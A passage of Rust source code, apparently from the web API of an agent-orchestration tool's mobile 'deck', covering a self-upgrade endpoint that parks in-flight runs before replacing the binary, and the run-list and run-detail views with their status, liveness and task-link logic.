2570/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2571/// the new one in its place, so the swap itself needs no downtime. Only the
2572/// restart does, and the order is the whole design:
2573///
2574/// 1. **Park.** A run in flight stops at its next node boundary and stays
2575///    resumable, so this costs at most the node in progress rather than the
2576///    competition. Without it the honest choices were waiting an hour or
2577///    discarding paid agent work.
2578/// 2. **Replace.** The new binary goes into place while this one still runs.
2579/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2580///    successor - see [`spawn_successor`] for what happens in the other
2581///    order.
2582/// 4. **Resume.** The next loop carries the parked run on rather than
2583///    competing again; see `daemon::attempt`.
2584///
2585/// Answers **202**: the reply has to reach the phone while this process can
2586/// still send one, and the phone learns the deck is back by reconnecting.
2587async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2588    let reading = daemon::read_status(&ui.home);
2589    if let Some(other) = Foreign::of(reading.as_ref()) {
2590        return Err(ApiError::conflict(format!(
2591            "the loop belongs to {}, so replacing this binary would leave \
2592             that process running an old one against the same queue. Upgrade \
2593             where it was started.",
2594            other.who()
2595        )));
2596    }
2597
2598    // A second upgrade while one is moving would replace the binary and
2599    // signal the handover again after `serve` already consumed the first
2600    // signal, leaving the process in `replaced` forever. Try-lock rather than
2601    // wait: a phone connection must not hang behind a GitHub round trip.
2602    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2603        return Err(ApiError::conflict(
2604            "another request is already preparing an upgrade",
2605        ));
2606    };
2607    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2608        return Err(ApiError::conflict(
2609            "an upgrade is already in progress (this process started one and it \
2610             has not finished or failed yet)",
2611        ));
2612    }
2613    let recorded = updater::read_progress(&ui.home);
2614    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2615        return Err(ApiError::conflict(format!(
2616            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2617             stays stuck, restart the deck; on start it settles a stale record.",
2618            p.stage.as_str(),
2619            p.from,
2620            p.to.as_deref().unwrap_or("?"),
2621        )));
2622    }
2623
2624    // The same kill switch the background check honours (`disabled_by_env`),
2625    // checked before anything else for the same reason it is read before the
2626    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2627    // contact GitHub from this process", and a button press must not
2628    // override that any more than a broken `magi.toml` may.
2629    if crate::updater::disabled_by_env() {
2630        return Ok((
2631            StatusCode::OK,
2632            Json(UpgradeView {
2633                from: env!("CARGO_PKG_VERSION").to_owned(),
2634                to: None,
2635                parked: None,
2636                detail: format!(
2637                    "Automatic updates are disabled by {}. Nothing was parked \
2638                     and nothing restarted.",
2639                    crate::updater::NO_AUTOUPDATE_ENV
2640                ),
2641            }),
2642        ));
2643    }
2644
2645    // Asked before anything is disturbed. Restarting when there is nothing
2646    // to install is not a harmless no-op: it parks the run in flight and
2647    // drops every connection to pay for an upgrade that did not happen. A
2648    // probe against a deck already on the newest build did exactly that.
2649    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2650    let from = env!("CARGO_PKG_VERSION").to_owned();
2651    let latest = match crate::updater::Checker::new(&cfg.update) {
2652        Some(checker) => checker
2653            .newer_release()
2654            .await
2655            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2656        None => None,
2657    };
2658    let Some(latest) = latest else {
2659        return Ok((
2660            StatusCode::OK,
2661            Json(UpgradeView {
2662                from,
2663                to: None,
2664                parked: None,
2665                detail: "Already on the newest release. Nothing was parked \
2666                         and nothing restarted."
2667                    .to_owned(),
2668            }),
2669        ));
2670    };
2671
2672    // Parked before anything is replaced: a successor that came up while a
2673    // run was mid-node would find a run nobody is driving.
2674    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2675    let detail = match &parked {
2676        // Honest about the wait. A park takes effect at the *next* node
2677        // boundary, so a run mid-implement finishes that wave first - up to
2678        // `timeout_implement`, an hour by default. Saying "restarting now"
2679        // would make the deck look wedged for the rest of it.
2680        Some(run) => format!(
2681            "Run {} is parking at its next step, which can take as long as \
2682             the step it is on - up to an hour for an implement wave. The \
2683             deck replaces itself once it parks, comes back, and the loop \
2684             carries that run on from where it stopped. Nothing is lost if \
2685             you close this.",
2686            crate::run::short_of(run)
2687        ),
2688        None => "The deck replaces itself and comes back. Nothing was in \
2689                 flight to park."
2690            .to_owned(),
2691    };
2692
2693    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2694    // poll must see a `Downloading` stage immediately, not whenever the
2695    // spawned task happens to get scheduled.
2696    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2697    progress.parked_run = parked.clone();
2698    // A failed write is logged, not returned: the loop is already parked
2699    // above, and bailing out here would leave it parked with no upgrade
2700    // spawned to hand over or resume it.
2701    updater::write_progress_logged(&ui.home, &progress);
2702
2703    let home = ui.home.clone();
2704    let looping = ui.looping();
2705    ui.upgrade_spawned
2706        .store(true, std::sync::atomic::Ordering::SeqCst);
2707    let spawned = Arc::clone(&ui.upgrade_spawned);
2708    tokio::spawn(async move {
2709        if let Err(e) = upgrade_and_restart(home.clone()).await {
2710            tracing::error!("the upgrade did not complete: {e:#}");
2711            lock_or_recover(&looping).resume_after_handover = false;
2712            // A failure of this attempt says nothing about a handover an
2713            // earlier request already has in flight; checked and written
2714            // under the progress lock.
2715            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2716            // Released last: until the cleanup above is done, a retry must
2717            // not be able to park and record state this would then undo.
2718            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2719        }
2720    });
2721
2722    Ok((
2723        StatusCode::ACCEPTED,
2724        Json(UpgradeView {
2725            from,
2726            to: Some(latest.tag_name),
2727            parked,
2728            detail,
2729        }),
2730    ))
2731}
2732
2733/// Replace the binary, then ask [`serve`] to hand the address over.
2734///
2735/// Separated from the handler so the 202 is already on its way, and separated
2736/// from the spawn so the successor starts only after the listener is dropped.
2737async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2738    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2739    // hang the upgrade for as long as the process lives.
2740    crate::updater::run_self_update(true, false, true).await?;
2741    updater::log_step(&home, "binary replaced - recording the replaced stage");
2742    if let Some(mut progress) = updater::read_progress(&home) {
2743        progress.advance(updater::Stage::Replaced);
2744        updater::write_progress_logged(&home, &progress);
2745    }
2746    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2747    HANDOVER.notify_one();
2748    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2749    Ok(())
2750}
2751
2752/// One row in the run list.
2753///
2754/// The list route returns this rather than whole `RunState`s: the summary of a
2755/// run is a few hundred bytes and the state is megabytes, and the difference
2756/// is what makes the history usable on a mobile link.
2757#[derive(Debug, Serialize)]
2758struct RunSummary {
2759    id: String,
2760    short: String,
2761    status: String,
2762    done: bool,
2763    instruction: String,
2764    title: String,
2765    repo: String,
2766    repo_name: String,
2767    created_at: String,
2768    updated_at: String,
2769    candidates: usize,
2770    viable: usize,
2771    judges: usize,
2772    winner: Option<char>,
2773    reviews: usize,
2774    quota_losses: usize,
2775    event: Option<String>,
2776    /// The later attempt at the same task that replaced this one, if any.
2777    ///
2778    /// Two cards with one title is otherwise unreadable: this is what lets
2779    /// the deck say "superseded by 4043" on the older of the pair.
2780    superseded_by: Option<String>,
2781    /// Blocked on a question nobody has answered.
2782    ///
2783    /// Derived from the question store rather than stored on the run: an agent
2784    /// calling `magi ask` blocks mid-node, and writing a status from there
2785    /// would race the graph's own save of `run.json` and be overwritten at the
2786    /// next node boundary. Asking the store is always true and never races.
2787    waiting: bool,
2788    /// Whether the process recorded as driving this run can still be proven
2789    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2790    /// rather than presenting its last graph node as still in flight.
2791    live: crate::run::Liveness,
2792    /// The land loop's last look at the pull request, when there is one.
2793    pr: Option<crate::run::PrRecord>,
2794    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2795    /// design — never picked up by the PR-polling merge watcher, unlike an
2796    /// ordinary `Ready` that may still be a live landing candidate. See
2797    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2798    /// re-deriving the same check from `status` and `merge.mode` itself.
2799    unmerged_by_design: bool,
2800    /// Derived presentation status matching [`RunDetailView::display_status`].
2801    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2802    #[serde(default)]
2803    display_status: String,
2804    /// What the status badge shows: `display_status`, or `superseded` for a
2805    /// non-live run a later attempt replaced. See [`run_badge_status`].
2806    #[serde(default)]
2807    badge_status: String,
2808    /// Who started the run, as the one label every surface shares; the
2809    /// "origin unknown" wording when the record predates origins.
2810    origin_label: String,
2811}
2812
2813impl RunSummary {
2814    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2815        Self {
2816            id: state.id.clone(),
2817            short: state.short().to_owned(),
2818            status: status_word(state.status),
2819            done: state.status.done(),
2820            unmerged_by_design: state.unmerged_by_design(),
2821            display_status: run_display_status(state, waiting, live),
2822            badge_status: run_display_status(state, waiting, live),
2823            instruction: state.instruction.clone(),
2824            title: title_from(&state.instruction, TITLE_MAX),
2825            repo: state.repo.display().to_string(),
2826            repo_name: state
2827                .repo
2828                .file_name()
2829                .map(|n| n.to_string_lossy().into_owned())
2830                .unwrap_or_default(),
2831            created_at: state.created_at.to_string(),
2832            updated_at: state.updated_at.to_string(),
2833            candidates: state.candidates.len(),
2834            viable: state.viable().len(),
2835            judges: state.config.graph.judges,
2836            winner: state.winner().map(|c| c.label),
2837            reviews: state.reviews.len(),
2838            quota_losses: state.quota.len(),
2839            event: state.events.last().map(|e| e.message.clone()),
2840            waiting,
2841            live,
2842            // Filled in by the list route, which is the only place that can
2843            // see a task's other attempts.
2844            superseded_by: None,
2845            pr: state.pr.clone(),
2846            origin_label: crate::run::origin_label(state.origin.as_ref()),
2847        }
2848    }
2849}
2850
2851/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2852/// the same string `serde` writes for the status inside a full run.
2853fn status_word(status: RunStatus) -> String {
2854    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2855    // was a third way of naming the same statuses, and one that changed
2856    // silently with a derive.
2857    status.as_str().to_owned()
2858}
2859
2860/// The presentation status for a run, unified across summaries and details.
2861///
2862/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2863/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2864/// runs awaiting operator answers.
2865fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2866    if waiting {
2867        return "waiting".to_owned();
2868    }
2869    if state.unmerged_by_design() {
2870        return "unmerged".to_owned();
2871    }
2872    if !state.status.done() && live == crate::run::Liveness::Dead {
2873        // The driver claim clears this flag before saving another event.
2874        // A previous park event can therefore outlive a resumed driver.
2875        if state.parked {
2876            return "parked".to_owned();
2877        }
2878        return "stale".to_owned();
2879    }
2880    status_word(state.status)
2881}
2882
2883/// The word a run's status badge shows: `display_status`, except that a
2884/// non-terminal run which is not provably live and was replaced by a later
2885/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
2886///
2887/// Same judgement `magi show` uses (`RunState::liveness`, the task's
2888/// successor); a live driver, `Unknown` liveness and terminal runs keep their
2889/// own word, so superseded never claims more than "not live".
2890fn run_badge_status(
2891    state: &RunState,
2892    display_status: &str,
2893    live: crate::run::Liveness,
2894    superseded: bool,
2895) -> String {
2896    if state.status.done() || live == crate::run::Liveness::Live {
2897        return display_status.to_owned();
2898    }
2899    if superseded {
2900        return "superseded".to_owned();
2901    }
2902    // A dead run's `display_status` is `stale`, except that a deliberate park
2903    // and an open owner question keep their own word: neither is a crash, and
2904    // the question still needs an answer. Anything else dead reads `stale`.
2905    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2906        return "stale".to_owned();
2907    }
2908    display_status.to_owned()
2909}
2910
2911/// `?limit=`, clamped by the handler.
2912#[derive(Debug, Deserialize)]
2913struct ListQuery {
2914    #[serde(default)]
2915    limit: Option<usize>,
2916    /// Exact ids only; an empty value requests no rows (except queue blockers).
2917    ids: Option<String>,
2918}
2919
2920impl ListQuery {
2921    fn contains(&self, id: &str) -> bool {
2922        self.ids
2923            .as_ref()
2924            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2925    }
2926}
2927
2928async fn runs_list(
2929    State(ui): State<Arc<Ui>>,
2930    Query(q): Query<ListQuery>,
2931) -> ApiResult<Json<Vec<RunSummary>>> {
2932    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2933    blocking(move || {
2934        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2935        let states = run_ids(&ui.runs)
2936            .into_iter()
2937            // A run whose state cannot be read is skipped, not fatal: a run
2938            // killed mid-write must not blank the history of every other one.
2939            // The detail route still explains it, which is where an operator
2940            // asking "what happened to that run" ends up.
2941            .filter_map(|id| read_run(&ui.runs, &id).ok())
2942            .take(limit)
2943            .filter(|run| q.contains(&run.id));
2944        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2945        let summaries = summarize(
2946            states,
2947            &open_runs,
2948            &claimed,
2949            &superseded,
2950            |p| probe.borrow_mut().status(p),
2951            |p| probe.borrow_mut().started_at(p),
2952        );
2953        Ok(Json(summaries))
2954    })
2955    .await
2956}
2957
2958/// Everything the per-run rows share, read once: runs with an open question,
2959/// runs a live daemon claims, and the superseded map. Asking per run re-read
2960/// every question file and the daemon status file for each of hundreds of
2961/// runs, and spawned a process probe per run on Windows.
2962fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2963    let open_runs: HashSet<String> = ui
2964        .questions
2965        .list()
2966        .into_iter()
2967        .filter(|q| q.status.open())
2968        .map(|q| q.run)
2969        .collect();
2970    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2971        .into_iter()
2972        .map(|c| c.run)
2973        .collect();
2974    (open_runs, claimed, ui.queue.superseded())
2975}
2976
2977/// The rows of the run list, given everything that is shared between them.
2978///
2979/// Pure over its inputs so a test can count how often the process queries are
2980/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2981/// takes, called at most once per run.
2982fn summarize<I, S, D>(
2983    states: I,
2984    open_runs: &HashSet<String>,
2985    claimed: &HashSet<String>,
2986    superseded: &HashMap<String, String>,
2987    mut status_q: S,
2988    mut identity_q: D,
2989) -> Vec<RunSummary>
2990where
2991    I: IntoIterator<Item = RunState>,
2992    S: FnMut(u32) -> Option<bool>,
2993    D: FnMut(u32) -> Option<String>,
2994{
2995    states
2996        .into_iter()
2997        .map(|state| {
2998            let waiting = open_runs.contains(&state.id);
2999            let live =
3000                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3001            let mut row = RunSummary::of(&state, waiting, live);
3002            row.superseded_by = state
3003                .pr_taken_over_by
3004                .as_ref()
3005                .or_else(|| superseded.get(&state.id))
3006                .map(String::as_str)
3007                .map(crate::run::short_of)
3008                .map(str::to_owned);
3009            row.badge_status = run_badge_status(
3010                &state,
3011                &row.display_status,
3012                live,
3013                row.superseded_by.is_some(),
3014            );
3015            row
3016        })
3017        .collect()
3018}
3019
3020/// A run as the detail route hands it to the phone.
3021///
3022/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3023/// the instruction as markdown, and the raw `instruction` field this struct
3024/// still carries (unchanged) is what a client wanting the exact bytes reads
3025/// instead.
3026#[derive(Debug, Serialize)]
3027struct RunDetailView {
3028    stop_reason: Option<String>,
3029    #[serde(flatten)]
3030    state: RunState,
3031    instruction_md: Vec<md::Node>,
3032    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3033    /// mirror the records they come from, index for index; the raw strings
3034    /// stay in `state` and decide whether a block is shown at all.
3035    #[serde(flatten)]
3036    prose_md: RunProseMd,
3037    /// Whether a process is actually still driving this run: `"live"`,
3038    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3039    ///
3040    /// `state.active` (flattened in above) is only ever cleared by the
3041    /// process that populated it; a killed one leaves its last wave's
3042    /// entries behind. Carrying this alongside is what lets the phone rail
3043    /// tell "this seat is still answering" from "this seat was still
3044    /// answering when whatever was driving this run died" without a second
3045    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3046    /// proof of either. A string rather than a bool on purpose: a daemon
3047    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3048    /// and neither proven is `"unknown"` — folding that third case into
3049    /// either end of a bool is exactly the wrong call for a phone screen an
3050    /// operator uses to decide whether to wait or to act.
3051    live: crate::run::Liveness,
3052    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3053    /// alongside the flattened `state` rather than inside it, since
3054    /// `RunState` has no business knowing which of its own methods a caller
3055    /// wants serialized.
3056    unmerged_by_design: bool,
3057    /// Same field and meaning as [`RunSummary::waiting`].
3058    #[serde(default)]
3059    waiting: bool,
3060    /// Same derived presentation status as [`RunSummary::display_status`].
3061    #[serde(default)]
3062    display_status: String,
3063    /// Same field and meaning as [`RunSummary::badge_status`].
3064    #[serde(default)]
3065    badge_status: String,
3066    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3067    /// terminal. The client's `landView` keys on it, and the flattened state
3068    /// has no such field, so without it a finished run's stale `open` PR
3069    /// would be painted as live on the detail page.
3070    done: bool,
3071    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3072    /// route fills it from [`Queue::superseded`], the detail route from
3073    /// [`Queue::superseded_by`], and both read the same underlying task
3074    /// order. Without this the detail page could only ever show a red
3075    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3076    /// with nothing anywhere saying so — an operator opening it had no way
3077    /// to tell "this is done elsewhere" from "this still needs a retry".
3078    superseded_by: Option<String>,
3079    /// The task's current attempt, when this run is an older one — resolved
3080    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3081    /// the client to derive.
3082    ///
3083    /// Three things a client cannot safely do on its own drove this onto the
3084    /// server: it has to name the chain's *current head*, not just the next
3085    /// attempt (`superseded_by` above), because an intermediate retry in a
3086    /// longer chain can itself still be unresolved; it has to resolve to a
3087    /// real id rather than a short id a client would have to guess a full id
3088    /// from, which is ambiguous the moment two runs share a suffix; and it
3089    /// has to read that head's own status directly, because whether a run
3090    /// list a client happens to have cached even contains that attempt
3091    /// depends on a page limit this route knows nothing about.
3092    latest_attempt: Option<LatestAttempt>,
3093    /// The queue task this run belongs to, so the detail page can link back
3094    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3095    task: Option<TaskRef>,
3096    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3097    /// run recorded before origins existed. `origin` itself (flattened in
3098    /// with `state`) is `null` in that case.
3099    origin_label: String,
3100    /// Each recorded pass over this run, with the cause it stopped for. Empty
3101    /// for a run from before passes were kept: its earlier passes are unknown.
3102    pass_views: Vec<PassView>,
3103}
3104
3105/// A task named from a run's detail page.
3106#[derive(Debug, Serialize)]
3107struct TaskRef {
3108    id: String,
3109    short: String,
3110    title: String,
3111    /// [`Source::label`], e.g. `chat@a1b2`.
3112    source_label: String,
3113    /// Where the task came from, when that place has a page; see [`source_link`].
3114    source_link: Option<SourceLink>,
3115    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3116    status: &'static str,
3117    attempts: usize,
3118    max_attempts: usize,
3119    /// This run is the last entry of the task's run list.
3120    is_latest: bool,
3121    /// The task's newest run, when it is not this one.
3122    latest: Option<RunBrief>,
3123    /// The run that finished a `done` task (merged, or already in the base).
3124    finished_by: Option<RunBrief>,
3125    /// The task is `done` but no run on record finished it: closed by hand.
3126    closed_by_hand: bool,
3127}
3128
3129/// The page that filed a task, as the UI links to it.
3130#[derive(Debug, PartialEq, Eq, Serialize)]
3131struct SourceLink {
3132    /// `chat` (a conversation) or `run` (a run's node).
3133    kind: &'static str,
3134    /// The full id, never the short one in the label.
3135    id: String,
3136    /// The hash route that opens it.
3137    href: String,
3138}
3139
3140/// Percent-encode everything outside the URL-unreserved set.
3141fn encode_segment(raw: &str) -> String {
3142    let mut out = String::with_capacity(raw.len());
3143    for b in raw.bytes() {
3144        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3145            out.push(b as char);
3146        } else {
3147            out.push_str(&format!("%{b:02X}"));
3148        }
3149    }
3150    out
3151}
3152
3153/// The one place that decides where a task's source links to. A chat
3154/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3155/// a person or an imported issue has no page, so no link.
3156fn source_link(source: &Source) -> Option<SourceLink> {
3157    let Source::Agent { run, node } = source else {
3158        return None;
3159    };
3160    let (kind, route) = if node == crate::queue::CHAT_NODE {
3161        ("chat", "chat")
3162    } else {
3163        ("run", "runs")
3164    };
3165    Some(SourceLink {
3166        kind,
3167        id: run.clone(),
3168        href: format!("#/{route}/{}", encode_segment(run)),
3169    })
3170}
3171
3172/// The parent task of a follow-up, when its file can still be read.
3173#[derive(Debug, Serialize, PartialEq)]
3174struct FollowUpParent {
3175    id: String,
3176    short: String,
3177    title: String,
3178    /// The parent's own status (`TaskStatus::as_str`).
3179    status: &'static str,
3180    href: String,
3181}
3182
3183/// The merged run a follow-up was filed from.
3184#[derive(Debug, Serialize, PartialEq)]
3185struct FollowUpRun {
3186    id: String,
3187    short: String,
3188    /// `None` when the run's record cannot be read.
3189    status: Option<&'static str>,
3190    /// `None` unless the record could be read: never a dead link.
3191    href: Option<String>,
3192}
3193
3194/// Where a follow-up task came from, resolved once per task page so the flow
3195/// chart and the detail block cannot disagree. See [`followup_origin`].
3196#[derive(Debug, Serialize, PartialEq)]
3197struct FollowUpOrigin {
3198    /// Present only when `origin_task` is set and that task still exists.
3199    parent: Option<FollowUpParent>,
3200    run: FollowUpRun,
3201    /// The merged pull request, verbatim. Not an href: the client passes it
3202    /// through `forgeUrl()` and renders text when that refuses it (the one
3203    /// exception to "the href rule is Rust's alone", since a forge URL is
3204    /// data from a record, not a route).
3205    pr: String,
3206    findings: Vec<String>,
3207    generation: u32,
3208}
3209
3210/// The one place that decides what a follow-up links to. A parent that cannot
3211/// be read (gone, or an id that names nothing) is `None`, never an error.
3212fn followup_origin(
3213    fu: &crate::queue::FollowUp,
3214    task: impl Fn(&str) -> Option<Task>,
3215    run: impl Fn(&str) -> Option<RunState>,
3216) -> FollowUpOrigin {
3217    let parent = fu
3218        .origin_task
3219        .as_deref()
3220        .and_then(task)
3221        .map(|t| FollowUpParent {
3222            short: t.short().to_owned(),
3223            href: format!("#/tasks/{}", encode_segment(&t.id)),
3224            status: t.status.as_str(),
3225            title: t.title,
3226            id: t.id,
3227        });
3228    let state = run(&fu.run);
3229    FollowUpOrigin {
3230        parent,
3231        run: FollowUpRun {
3232            short: run::short_of(&fu.run).to_owned(),
3233            status: state.as_ref().map(|s| s.status.as_str()),
3234            href: state
3235                .is_some()
3236                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3237            id: fu.run.clone(),
3238        },
3239        pr: fu.pr.clone(),
3240        findings: fu.findings.clone(),
3241        generation: fu.generation,
3242    }
3243}
3244
3245/// Another run of the same task, as named from a run's detail page.
3246#[derive(Debug, Serialize)]
3247struct RunBrief {
3248    id: String,
3249    short: String,
3250    /// `None` when the run's record cannot be read.
3251    status: Option<&'static str>,
3252    /// The task-page wording for how that pass ended.
3253    outcome: String,
3254    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3255    badge: Option<String>,
3256}
3257
3258/// The task's overall outcome as seen from `this_run`'s page, classified with
3259/// the same exits the task page's flowchart uses.
3260fn task_outcome(
3261    task: &Task,
3262    this_run: &str,
3263    max_attempts: usize,
3264    read: impl Fn(&str) -> Option<RunState>,
3265) -> TaskRef {
3266    let history = task_history(task, read);
3267    let brief = |h: &TaskRunView| RunBrief {
3268        id: h.id.clone(),
3269        short: h.short.clone(),
3270        status: h.status,
3271        outcome: h.exit.edge_label(h.status),
3272        badge: h.badge.clone(),
3273    };
3274    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3275    let latest = if is_latest {
3276        None
3277    } else {
3278        history.last().map(brief)
3279    };
3280    let done = task.status == TaskStatus::Done;
3281    let finished_by = done
3282        .then(|| {
3283            history
3284                .iter()
3285                .rev()
3286                .find(|h| {
3287                    matches!(
3288                        h.exit,
3289                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3290                    )
3291                })
3292                .map(brief)
3293        })
3294        .flatten();
3295    TaskRef {
3296        short: task.short().to_owned(),
3297        title: task.title.clone(),
3298        id: task.id.clone(),
3299        source_label: task.source.label(),
3300        source_link: source_link(&task.source),
3301        status: task.status.as_str(),
3302        attempts: task.attempts,
3303        max_attempts,
3304        is_latest,
3305        latest,
3306        closed_by_hand: done && finished_by.is_none(),
3307        finished_by,
3308    }
3309}
3310
3311/// The task's current attempt, as seen from an older one's detail page.
3312#[derive(Debug, Serialize)]
3313struct LatestAttempt {
3314    id: String,
3315    short: String,
3316    /// Whether this attempt itself settled with a result nobody needs to
3317    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3318    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3319    /// unconfirmed claim that no change was needed, which is exactly why it
3320    /// settles the task through `Held` rather than `Done` and still waits on
3321    /// a human to check the evidence; showing an older run as "finished
3322    /// elsewhere" on the strength of an unverified claim would bury the
3323    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3324    /// in-flight status are excluded because they are exactly the
3325    /// unresolved states this field exists to tell apart from a real finish.
3326    resolved: bool,
3327    /// The attempt's own recorded status, so the page can say where it
3328    /// stands while it is not resolved yet.
3329    status: RunStatus,
3330    /// Whether that status is terminal (nothing is still running it).
3331    done: bool,
3332}
3333
3334/// Markdown for the free-text prose of a run, parallel to `RunState`.
3335#[derive(Debug, Default, Serialize)]
3336struct RunProseMd {
3337    /// `None` when the run has no design deliberation.
3338    advice_md: Option<AdviceMd>,
3339    /// One entry per candidate: the summary.
3340    candidate_summaries_md: Vec<Vec<md::Node>>,
3341    /// One entry per review round, in `reviews` order.
3342    reviews_md: Vec<RoundMd>,
3343}
3344
3345#[derive(Debug, Default, Serialize)]
3346struct AdviceMd {
3347    synthesis: Vec<md::Node>,
3348    /// One per record; empty for a seat with no proposal.
3349    approaches: Vec<Vec<md::Node>>,
3350}
3351
3352#[derive(Debug, Default, Serialize)]
3353struct RoundMd {
3354    /// One per reviewer record.
3355    reviewers: Vec<ReviewerMd>,
3356    /// One per `reconsideration` entry: the reason.
3357    reconsideration: Vec<Vec<md::Node>>,
3358    fix: Option<FixMd>,
3359}
3360
3361#[derive(Debug, Default, Serialize)]
3362struct ReviewerMd {
3363    summary: Vec<md::Node>,
3364    /// One per finding, in recorded order (not the display order).
3365    findings: Vec<Vec<md::Node>>,
3366}
3367
3368#[derive(Debug, Default, Serialize)]
3369struct FixMd {
3370    notes: Vec<md::Node>,
3371    /// One per rejection: the argument.
3372    rejected: Vec<Vec<md::Node>>,
3373}
3374
3375/// Parse a run's agent-written prose; a pure function of the state.
3376fn run_prose_md(state: &RunState) -> RunProseMd {
3377    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3378    RunProseMd {
3379        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3380            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3381            approaches: a
3382                .records
3383                .iter()
3384                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3385                .collect(),
3386        }),
3387        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3388        reviews_md: state
3389            .reviews
3390            .iter()
3391            .map(|round| RoundMd {
3392                reviewers: round
3393                    .reviews
3394                    .iter()
3395                    .map(|rec| ReviewerMd {
3396                        summary: nodes(&rec.summary),
3397                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3398                    })
3399                    .collect(),
3400                reconsideration: round
3401                    .reconsideration
3402                    .iter()
3403                    .map(|rv| nodes(&rv.reason))
3404                    .collect(),
3405                fix: round.fix.as_ref().map(|fix| FixMd {
3406                    notes: nodes(&fix.notes),
3407                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3408                }),
3409            })
3410            .collect(),
3411    }
3412}
3413
3414impl RunDetailView {
3415    fn of(
3416        state: RunState,
3417        waiting: bool,
3418        live: crate::run::Liveness,
3419        superseded_by: Option<String>,
3420        latest_attempt: Option<LatestAttempt>,
3421        task: Option<TaskRef>,
3422    ) -> Self {
3423        let display_status = run_display_status(&state, waiting, live);
3424        let stop_reason = crate::stop_reason::of(
3425            &state,
3426            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3427        );
3428        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3429        Self {
3430            stop_reason,
3431            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3432            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3433            prose_md: run_prose_md(&state),
3434            origin_label: crate::run::origin_label(state.origin.as_ref()),
3435            live,
3436            unmerged_by_design: state.unmerged_by_design(),
3437            waiting,
3438            display_status,
3439            badge_status,
3440            done: state.status.done(),
3441            superseded_by,
3442            latest_attempt,
3443            task,
3444            state,
3445        }
3446    }
3447}
3448
3449async fn run_detail(
3450    State(ui): State<Arc<Ui>>,
3451    Path(id): Path<String>,
3452) -> ApiResult<Json<RunDetailView>> {
3453    blocking(move || {
3454        let id = resolve_run(&ui.runs, &id)?;
3455        let state = read_run(&ui.runs, &id)?;
3456        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3457        let live = state.liveness(daemon_claims);
3458        let waiting = !ui.questions.open_for(&id).is_empty();
